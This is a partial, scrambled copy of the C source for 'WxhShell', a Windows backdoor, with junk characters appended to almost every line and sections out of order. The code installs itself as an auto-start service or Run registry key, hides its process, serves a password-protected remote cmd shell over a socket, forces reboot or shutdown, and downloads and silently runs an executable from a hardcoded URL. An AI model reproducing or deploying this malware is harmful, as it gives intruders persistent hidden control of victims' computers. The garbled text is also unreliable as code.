    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <8!  Tq  
    else { $7Z)Yp&T  
    closesocket(wsh); wpXgPVZT  
    ExitThread(0); ,:)`+v<  
    } 1!1!PA9u  
    break; 1@>$ Gcc  
    } 0K `[,$Y  
  // 获取shell d(-EcY>?  
  case 's': { {u"8[@@./  
    CmdShell(wsh); A#rh@8h+  
    closesocket(wsh); fE]XWA4U  
    ExitThread(0); Zd!U')5/  
    break; OcmRZ  
  } *27*>W1  
  // 退出 }rq9I"/L  
  case 'x': { ?Q0I'RC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KkcXNjPVS  
    CloseIt(wsh); h|D0z_f  
    break; ;W]\rft[  
    } +lE90y  
  // 离开 *$,:m  
  case 'q': { m&*JMA;^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d%_OT0Ei  
    closesocket(wsh); s?2$ue&-f  
    WSACleanup(); \?**2{9&)  
    exit(1); Kcy@$uF{2  
    break; [;A[.&6  
        } u 8^{  
  } SJ?cI!=x  
  } O hVs#^  
%Ip*Kq-  
  // 提示信息 GbI-SbE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H1/?+N}(  
} B07v^!Z>  
  } "ZrOrdlg+A  
r)^vO+3u  
  return; z//VlB  
} hI},~af  
c!#:E`  
// shell模块句柄 q?):oJ  
int CmdShell(SOCKET sock) KC`q#&dt  
{ */^QH@P  
STARTUPINFO si; 'Gl&Pa1g?  
ZeroMemory(&si,sizeof(si)); k D5!}+y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |'d>JT:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I_1e?\  
PROCESS_INFORMATION ProcessInfo; I%j_"r9-I  
char cmdline[]="cmd"; PPkx4S_>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =K\r-'V  
  return 0; *=AqM14 @  
} bD ^b  
;G\8jP'   
// 自身启动模式 zZ=pP5y8  
int StartFromService(void) #P<N^[m  
{ 0@I S  
typedef struct "ZwKk G  
{ ,<-G<${  
  DWORD ExitStatus; 6$\jAd|  
  DWORD PebBaseAddress; .8(OT./  
  DWORD AffinityMask; {vEOn-(7  
  DWORD BasePriority; U8.7>ENnP&  
  ULONG UniqueProcessId; "]K>j'^Zs<  
  ULONG InheritedFromUniqueProcessId; */:uV B,b2  
}   PROCESS_BASIC_INFORMATION; >-8cU_m7s  
6;'dUGvH  
PROCNTQSIP NtQueryInformationProcess; qz?mh4Oh  
M(x$xAiD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b~=0[Rv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t>=fTkB  
&i+Ce  
  HANDLE             hProcess; ;oZ)Wt  
  PROCESS_BASIC_INFORMATION pbi; =X\^J  
>/[GTqi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ApBWuXp|u  
  if(NULL == hInst ) return 0; F8-?dpf'  
-Eu6U`"(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~5FW [_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4}+/F}TbJ5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Od f[*  
7xRl9  
  if (!NtQueryInformationProcess) return 0; &xRo^iV?  
Q></`QWpoB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L:XC  
  if(!hProcess) return 0; wO?{?+I`q  
"&/-N[is  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c\a_VRN>r  
'5&s=M_  
  CloseHandle(hProcess); .<@8gNm3  
#@<9S{F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [8tL"G6s  
if(hProcess==NULL) return 0; ^[:p|U2mA  
1-lu\"H`  
HMODULE hMod; ;rc`OZyE  
char procName[255]; i&{DOI%w  
unsigned long cbNeeded; k0Ol*L!p  
2hzsKkrA {  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {~Rk2:gx  
aDO !  
  CloseHandle(hProcess); y=?)n\ f  
;>n,:355L  
if(strstr(procName,"services")) return 1; // 以服务启动 AGLscf.  
% qV 6  
  return 0; // 注册表启动 M#(+c_(r  
} *G* k6.9W!  
8Z(Mvq]f&  
// 主模块 6I@h9uIsze  
int StartWxhshell(LPSTR lpCmdLine) n{6G"t:^l  
{ |*}4 m'c  
  SOCKET wsl; 15o9 .   
BOOL val=TRUE; 0PlO(" ,a  
  int port=0; w!fE;H8w6  
  struct sockaddr_in door; |PC*=ykT3  
j~!X;PV3  
  if(wscfg.ws_autoins) Install(); Djg,Lvhm  
Na:w]r:y  
port=atoi(lpCmdLine); M5 <@~V/[  
@Y1s$,=xB  
if(port<=0) port=wscfg.ws_port; EK4d_L]I  
sBcPq SMby  
  WSADATA data; O)[1x4U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vM5k_D  
6I%5Q4Ll  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e)(wss+d7P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nDHTV !]<  
  door.sin_family = AF_INET; w@{=nD4p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'FDef#P<  
  door.sin_port = htons(port); =weSyZ1~  
Uu`9 "  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mnscb  
closesocket(wsl); zG(\+4GE!  
return 1; 2nR[Xh?L  
} :Of^xj>A  
ZzSz%z_sE  
  if(listen(wsl,2) == INVALID_SOCKET) { 8uWa=C)  
closesocket(wsl); 0tXS3+@n =  
return 1; ' ~8KSF*!p  
} 1,% R;7J=g  
  Wxhshell(wsl); [Al&  
  WSACleanup();  iKT[=c  
T\D}kQM  
return 0; ,^2>k3=  
"thdPZ  
} Eea*s'  
Dy:|g1>  
// 以NT服务方式启动 FY#C.mL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YB2VcF.LU  
{ {0WHn.,2Y  
DWORD   status = 0; ;IZwTXu!S  
  DWORD   specificError = 0xfffffff; c}2jmwq  
T(U_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `~By)?cT_>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /w}u3|L$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~5}* d  
  serviceStatus.dwWin32ExitCode     = 0; De'_SD|=  
  serviceStatus.dwServiceSpecificExitCode = 0; L6|oyf  
  serviceStatus.dwCheckPoint       = 0; ^SF&=NpV  
  serviceStatus.dwWaitHint       = 0; ]SLP}Jwy  
toBHkiuD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Ge"anO  
  if (hServiceStatusHandle==0) return; z?R|Ok  
oYm[V<nIl  
status = GetLastError(); nH[yJGZYSA  
  if (status!=NO_ERROR) Wa{`VS  
{ @eKec1<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ddJe=PUb  
    serviceStatus.dwCheckPoint       = 0; /7Cc#P6  
    serviceStatus.dwWaitHint       = 0; K3#@SY j  
    serviceStatus.dwWin32ExitCode     = status; #ML%ij 1  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]H+8rY%+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n<z [J=I  
    return; %D\[*  
  } 3 :<WY&9  
l*d(;AR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :LW4E9O=H  
  serviceStatus.dwCheckPoint       = 0; GLeK'0Q@  
  serviceStatus.dwWaitHint       = 0; f Sa"%8%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1SCR.@ k<  
} {tYZt4!{^  
U@uGNMKR  
// 处理NT服务事件,比如:启动、停止 w"Gm;B4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a%/9v"}  
{ s@K4u^$A  
switch(fdwControl) kuszb~`zPY  
{ Oi8.8M  
case SERVICE_CONTROL_STOP: |EX(8y  
  serviceStatus.dwWin32ExitCode = 0; TJ6*t!'*X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A>o *t=5  
  serviceStatus.dwCheckPoint   = 0; 5K>3My#  
  serviceStatus.dwWaitHint     = 0; ~j}cyHg  
  { 5m&9"T.w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nrub*BuA  
  } 4;yKOQD|  
  return; keL&b/@  
case SERVICE_CONTROL_PAUSE: !>..Q)z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @tNzQ8  
  break; jaII r06  
case SERVICE_CONTROL_CONTINUE: v3~?;f,l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _=F=`xu  
  break; :L F?  
case SERVICE_CONTROL_INTERROGATE: 5\:^ y'g[  
  break; -*Xa3/kQ  
};  *x@Onj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .WA-&b_  
} CQF:Rnb  
8lvV4yb  
// 标准应用程序主函数 g+vva"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RO+GK`J  
{ i&bA2p3+d  
S&Zm0Ku  
// 获取操作系统版本 vlmB`T  
OsIsNt=GetOsVer(); qouhuH_WtJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Nlt H/I  
0l)~i' '  
  // 从命令行安装 n' n/Tu   
  if(strpbrk(lpCmdLine,"iI")) Install(); ;K:zmH  
xpV|\2C  
  // 下载执行文件 4&<oFW\r  
if(wscfg.ws_downexe) { i [7\[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^}/PGG\~r  
  WinExec(wscfg.ws_filenam,SW_HIDE); le|~BG hL  
} 89pEfl j2  
%g{X?  
if(!OsIsNt) { 4":KoS`,j  
// 如果时win9x,隐藏进程并且设置为注册表启动 _|kxY '_[8  
HideProc(); J=9FRC  
StartWxhshell(lpCmdLine); P{kur} T  
} ]7W&JKmA&  
else N.,X<G.H  
  if(StartFromService()) `i3NG1 v0  
  // 以服务方式启动 q9KHmhUD  
  StartServiceCtrlDispatcher(DispatchTable); ?~BC#B\>o  
else n{n52][J]  
  // 普通方式启动 ak$f"py x  
  StartWxhshell(lpCmdLine); X`kk]8 =  
lA| 5E?  
return 0; oK6tTK  
} (-UYB9s  
[+2[`K c]  
KKj a/p  
aL+ o /  
=========================================== T0wW<_jh  
HJ=:8:  
!![DJ  
X9v.1s,  
w1EXh  
-; s|  
" xI#9  
!#], hok8X  
#include <stdio.h> oR)Jznmi}  
#include <string.h> @Q)OGjaq  
#include <windows.h> U6glp@s  
#include <winsock2.h> kyR:[+je  
#include <winsvc.h> uw>Ba %5  
#include <urlmon.h> PS)4 I&;U  
pnl{&<$C%C  
#pragma comment (lib, "Ws2_32.lib") jwc)Lj}  
#pragma comment (lib, "urlmon.lib") E:UW#S%A f  
fiK6@,  
#define MAX_USER   100 // 最大客户端连接数 }"nItcp.1  
#define BUF_SOCK   200 // sock buffer >,V9H$n  
#define KEY_BUFF   255 // 输入 buffer x|/|jzJSX  
>N^Jj:~l  
#define REBOOT     0   // 重启 $ Xv*,Bq  
#define SHUTDOWN   1   // 关机 nsu@h  
Xb|:vr\v  
#define DEF_PORT   5000 // 监听端口 bn|I> e  
CKYc\<zR0l  
#define REG_LEN     16   // 注册表键长度 :%l TU  
#define SVC_LEN     80   // NT服务名长度 }MJy +Z8&  
Jj; L3S  
// 从dll定义API py$Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z`.<U{5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pNG:0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7Od -I*bt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'F+C4QAq  
[<lHCQXJ/  
// wxhshell配置信息 G,&<<2{(f;  
struct WSCFG { 7-bd9uVK  
  int ws_port;         // 监听端口 F&!6jv  
  char ws_passstr[REG_LEN]; // 口令 B~1 _28\  
  int ws_autoins;       // 安装标记, 1=yes 0=no H4WP~(__  
  char ws_regname[REG_LEN]; // 注册表键名 Q:2>}QgX}  
  char ws_svcname[REG_LEN]; // 服务名 /C:Y94B-z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u 1>2v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wT6"U$cV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zU5v /'h>d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qzYwt]GNS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R5N%e%[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CuaVb1r  
^h(ew1:  
}; R{C(K(5/  
`l\7+0W  
// default Wxhshell configuration m( r,Acy6  
struct WSCFG wscfg={DEF_PORT, =:xW>@bh|  
    "xuhuanlingzhe", hi_NOx  
    1, [`ebM,W  
    "Wxhshell", l.q&D< _  
    "Wxhshell", vLv@&lMW  
            "WxhShell Service", kjTduZ/3 "  
    "Wrsky Windows CmdShell Service", }zeO]"`  
    "Please Input Your Password: ", QmQ=q7  
  1, %6|nb:Oa  
  "http://www.wrsky.com/wxhshell.exe", w#ZoZZ wh  
  "Wxhshell.exe" 5dx$HE&b)  
    }; -RE^tW*Yy  
&y\prip  
// 消息定义模块 U\g/2dM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iowTLq!?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gj1&tjK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0\X\izQ5  
char *msg_ws_ext="\n\rExit."; d6Ht2  
char *msg_ws_end="\n\rQuit."; h0(BO*cy  
char *msg_ws_boot="\n\rReboot..."; fe\mL mK9  
char *msg_ws_poff="\n\rShutdown..."; d2*fLEsF  
char *msg_ws_down="\n\rSave to "; X:A^<L ~  
L ^r#o-H<  
char *msg_ws_err="\n\rErr!"; GB23\Yv  
char *msg_ws_ok="\n\rOK!"; >@U*~Nz  
"Bh}}!13  
char ExeFile[MAX_PATH]; T-'OwCB1q  
int nUser = 0; )MtF23k)g  
HANDLE handles[MAX_USER]; Q)~aiI0  
int OsIsNt; .N,bIQnj  
Xc =Y  
SERVICE_STATUS       serviceStatus; MU($|hwiL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _('=b/  
.eS<Dbku<  
// 函数声明 ST|x23|O]  
int Install(void); ~k"=4j9  
int Uninstall(void); g?c xp +  
int DownloadFile(char *sURL, SOCKET wsh); NN%*b yK  
int Boot(int flag); h){0rX@:&  
void HideProc(void); .UQzPnK  
int GetOsVer(void); ;0Q4<F  
int Wxhshell(SOCKET wsl); 1jx:;j  
void TalkWithClient(void *cs); S.mG?zbw  
int CmdShell(SOCKET sock); *^\Ef4Lh  
int StartFromService(void); -z ID x  
int StartWxhshell(LPSTR lpCmdLine); A` N,  
TEP,Dq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TtJH7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T]^62(So  
 Fe#  1  
// 数据结构和表定义 9>= ;FY  
SERVICE_TABLE_ENTRY DispatchTable[] = g&^quZ"H  
{ +G$4pt|=  
{wscfg.ws_svcname, NTServiceMain}, >f|||H}Snw  
{NULL, NULL} P9/q|>F  
}; "SNn^p59k  
|'e^QpU5  
// 自我安装 ^-TE([bW  
int Install(void) l#g\X'bK  
{ Z]A{ d[  
  char svExeFile[MAX_PATH]; 8f_l}k$Eg  
  HKEY key; 1gE [v  
  strcpy(svExeFile,ExeFile); lXx=But  
^6jV_QM#  
// 如果是win9x系统,修改注册表设为自启动 sG(~^hJ_  
if(!OsIsNt) { 9Uh"iMB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g1;:KzVv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zv|2:4H  
  RegCloseKey(key); l^! ?@Kg,z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )1Y{Q Y}l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X@--m6-  
  RegCloseKey(key); ^3G{|JB!+  
  return 0; kYM~d07 V  
    } c_dVWh e  
  } FVMD>=k  
} /{EP*,/*  
else { E`kG-Q5Dw  
<kfnpB=  
// 如果是NT以上系统,安装为系统服务 ({ +!`}GY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /?wtF4  
if (schSCManager!=0) nyX2|m&  
{ OstQqV%@  
  SC_HANDLE schService = CreateService GiJ *Wp  
  ( i"1Mfz~e  
  schSCManager, O+nEXS\rQ  
  wscfg.ws_svcname, jkQ*D(;p  
  wscfg.ws_svcdisp, t^UxR@l<K|  
  SERVICE_ALL_ACCESS, ud63f` W]4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jqz ux[6{  
  SERVICE_AUTO_START, pD8+ 4;A  
  SERVICE_ERROR_NORMAL, ~jWn4 \  
  svExeFile, `A,-@`p  
  NULL, #{6{TFx\  
  NULL, l?\jB\,  
  NULL, pg6cF  
  NULL, Z@yW bjE7Z  
  NULL 3>3Kwc~E  
  ); D+#E -8  
  if (schService!=0) ?L x24*5%  
  { .zr-:L5{  
  CloseServiceHandle(schService); $6qh| >z.  
  CloseServiceHandle(schSCManager); , xw#NG6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); imVo<Je7z(  
  strcat(svExeFile,wscfg.ws_svcname); !({}(!P .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a`wc\T^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FW;m\vu  
  RegCloseKey(key); , |0}<%  
  return 0; OP;v bZ  
    } _Mi5g_  
  } j9m_jv  
  CloseServiceHandle(schSCManager); ~Q*%DRd&Z-  
} t;){D:]k  
} #./fY;:cj  
-Sq z5lo  
return 1; Ah1]Y}sy  
} M "ui0 ac  
 hz{`h  
// 自我卸载 BfXgh'Z~  
int Uninstall(void) .7O*pJ2(H  
{ 0q^>ZF-@  
  HKEY key; x!hh"x  
yyR0]NzYUD  
if(!OsIsNt) { uY0lR:|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T!uM+6|Y  
  RegDeleteValue(key,wscfg.ws_regname); QER?i;-wb  
  RegCloseKey(key); H h4WMZJG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { at@G/?  
  RegDeleteValue(key,wscfg.ws_regname); dLH(D: `  
  RegCloseKey(key); Upx G@b  
  return 0; O],T,Z?z  
  } LhN|1f:9:  
} bUs0 M0y  
} UJ%R   
else { SP@ >vl+;  
pD(j'[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fzm*Pz3  
if (schSCManager!=0) FOb0uj=(v  
{ c7?_46 J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -Mi p,EO  
  if (schService!=0) \c,ap49RC  
  {  ;i4Q|  
  if(DeleteService(schService)!=0) { SQ@y;|(  
  CloseServiceHandle(schService); x;w6na  
  CloseServiceHandle(schSCManager); }#3V+X  
  return 0; B)$| vK=  
  } S&e0u%8mc  
  CloseServiceHandle(schService); I) rCd/  
  } e4-@ f%5  
  CloseServiceHandle(schSCManager); .GbX]?dN  
} r+'qd)  
} eJ,/:=QQ{  
r=Gks=NX"  
return 1; oL-]3TY~  
} 0*VWzH   
q$p%ZefZ  
// 从指定url下载文件 +\x,HsUc"  
int DownloadFile(char *sURL, SOCKET wsh) Y$o< 6[7  
{ z__EYh  
  HRESULT hr; (DJ"WG  
char seps[]= "/"; FSP+?((  
char *token; eP.wOl  
char *file; 0;hqIJcE:\  
char myURL[MAX_PATH]; >f^r^P  
char myFILE[MAX_PATH]; Y1L[;)Hn  
Uq[>_"}  
strcpy(myURL,sURL); uyO/55;HO  
  token=strtok(myURL,seps); f0A{W/0n  
  while(token!=NULL) ``V" D  
  { WJ$bf(X*  
    file=token; i1UiNJh86  
  token=strtok(NULL,seps); Ha(c'\T (\  
  } P|^f0Rw3.  
09|K>UC)v  
GetCurrentDirectory(MAX_PATH,myFILE); imo$-}A  
strcat(myFILE, "\\"); #TeG-sFJg@  
strcat(myFILE, file); ]"r&]qx7  
  send(wsh,myFILE,strlen(myFILE),0); B#exHf8  
send(wsh,"...",3,0); w2 ;eh]k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]5mnew  
  if(hr==S_OK) Jlri*q"hE  
return 0; 6wPaJbRtaM  
else d+<G1w&z  
return 1; %fc !2E9|  
26e]`]!SU  
} 8G9s<N}5&u  
H=@}=aPf  
// 系统电源模块 [I0:=yJ+  
int Boot(int flag) C'G/AU  
{ \<.+rqa!  
  HANDLE hToken; 63^O|y\W8  
  TOKEN_PRIVILEGES tkp; VQ"hUX8  
8H;t_B  
  if(OsIsNt) { ?TM ,Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %!]@J[*1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wHzEMwY_  
    tkp.PrivilegeCount = 1; 3("_Z%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f6EZ( v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \"qY"V  
if(flag==REBOOT) { ^({})T0wu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  >d*iD  
  return 0; 8N!b>??  
} " f <Z=c  
else { WgR).Yx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,f<?;z  
  return 0; vmi+_]   
} bT\1>  
  } 4 <9=5q]  
  else { BYpG  
if(flag==REBOOT) { _?<|{O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7zA'ri3w  
  return 0; 8R2QZXJb-  
} Jy^u?  
else { cU RkP`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  0bz'&  
  return 0; ?@BTGUK"C  
} 2!0c4a^z  
} ;ZH3{  
M:XSQ["6>V  
return 1; U [*FCD!~  
} qT ,Te  
c(J!~7  
// win9x进程隐藏模块 1cxrH+N  
void HideProc(void) lAi6sPG)0  
{ j:<n+:H C  
dUsYZdQs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $()5VM b  
  if ( hKernel != NULL ) 9Kpa><  
  { M2d$4-<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yQU_>_!n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FO=4:   
    FreeLibrary(hKernel); t'?.8}?)I&  
  } PjZvQ\Z  
?<V?wsp  
return; b$4"i XSQ  
} XnDUa3  
11TL~ xFh  
// 获取操作系统版本 ~kQA7;`j$  
int GetOsVer(void) N2B|SO''  
{ 'U1R\86M  
  OSVERSIONINFO winfo; *$yR*}A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _/F7 ?^j  
  GetVersionEx(&winfo); Y ?S!8-z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Qc La//  
  return 1; 6 2'j!"xv  
  else #EO9UW5  
  return 0; t=|evOz]  
} (gy#js #  
&{ay=Mj  
// 客户端句柄模块 ?6yjy<D)$e  
int Wxhshell(SOCKET wsl) z,Medw6[  
{ @Gk ILFN  
  SOCKET wsh; ? K ;dp  
  struct sockaddr_in client; sA/pVU  
  DWORD myID; %oq{L]C(rf  
+Fuqch jq  
  while(nUser<MAX_USER) M%Ji0v38  
{ =5Q]m6-SgV  
  int nSize=sizeof(client); 2-7IJ\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yGWxpzmRS  
  if(wsh==INVALID_SOCKET) return 1; @<&5J7fb  
j2ve^F:Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~T9/#-e>BF  
if(handles[nUser]==0) |y&*MTfV4L  
  closesocket(wsh); Z8zmHc"IH  
else ]or>?{4g  
  nUser++; cJN7bA {  
  } Xa CX!Lr,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PRr2F-!P  
]gmexa=(i  
  return 0; xgbJ2Mh  
} ^=T$&gD  
g,}_G3[j0m  
// 关闭 socket ^oVs+vC  
void CloseIt(SOCKET wsh) |s"nM<ZNZ  
{ Nd`%5%'::  
closesocket(wsh); !;0U,!WI  
nUser--; 9  TvV=  
ExitThread(0); -}=i 04^  
} Rec6c&5_  
}v Z+A  
// 客户端请求句柄 ' qWALu  
void TalkWithClient(void *cs) m5L-67[sB  
{ +g` 'J$  
BbW^Wxd3  
  SOCKET wsh=(SOCKET)cs; @{YS}&Q/  
  char pwd[SVC_LEN]; `4(e  
  char cmd[KEY_BUFF]; d`P7}*; `  
char chr[1]; #N#'5w-G  
int i,j; FuVnk~gq  
v\!Be[ ?  
  while (nUser < MAX_USER) { Y]NSN-t  
\]&#%6|V  
if(wscfg.ws_passstr) { qDv93  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9F4Dm*_<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <\Eh1[F  
  //ZeroMemory(pwd,KEY_BUFF); 'ixwD^x  
      i=0; E}Y!O"CAV  
  while(i<SVC_LEN) { )f}YW/'  
R<[qGt|L  
  // 设置超时 :A1{d?B  
  fd_set FdRead; Qy.w=80kf  
  struct timeval TimeOut; "5-^l.CKH  
  FD_ZERO(&FdRead); cV 5CaaL  
  FD_SET(wsh,&FdRead); 6I1,:nLL<  
  TimeOut.tv_sec=8; )=5ng-  
  TimeOut.tv_usec=0; 3{ LP?w:@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]vgB4~4#LP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;ado0-VQi'  
T^w36}a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LJ*q1 ;<E  
  pwd=chr[0];  86(I^=  
  if(chr[0]==0xd || chr[0]==0xa) { 5|l* `J)  
  pwd=0; e?opkq\f  
  break; IIg^FZ*]_  
  } LNrX;{ Z  
  i++; j<u@j+V  
    } vg D77  
OlAs'TE^  
  // 如果是非法用户,关闭 socket Q?3Gk%T0[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qk\A c  
} \=uKHNP?#  
?*E'^~,H)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t"k*PA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - M[$Zy^  
G]fRk^~  
while(1) { 29!q!g|  
#>%X_o-o23  
  ZeroMemory(cmd,KEY_BUFF); X=hYB}}nu  
BDq%'~/^  
      // 自动支持客户端 telnet标准   Fb^:V4<T  
  j=0; RnhL< Ywu  
  while(j<KEY_BUFF) { ,_yh z0.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /x5rf  
  cmd[j]=chr[0]; VCn{mp*h  
  if(chr[0]==0xa || chr[0]==0xd) { LM}Ib.  
  cmd[j]=0; `|,`QqDQ  
  break; HR ;)|j{!  
  } aCQ?fq  
  j++; >Y #t`6,!  
    } 2C/$Ei^t  
m\$\ 09  
  // 下载文件 Z2TL#@  
  if(strstr(cmd,"http://")) { kB'Fkqwm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HvM)e.!  
  if(DownloadFile(cmd,wsh)) U}MXT <6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^;/b+ /B0  
  else sB^<6W!`(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x9;gT&@H  
  } F{eU";D  
  else { G`\f  
LUC4=kk4   
    switch(cmd[0]) { ^j" .  
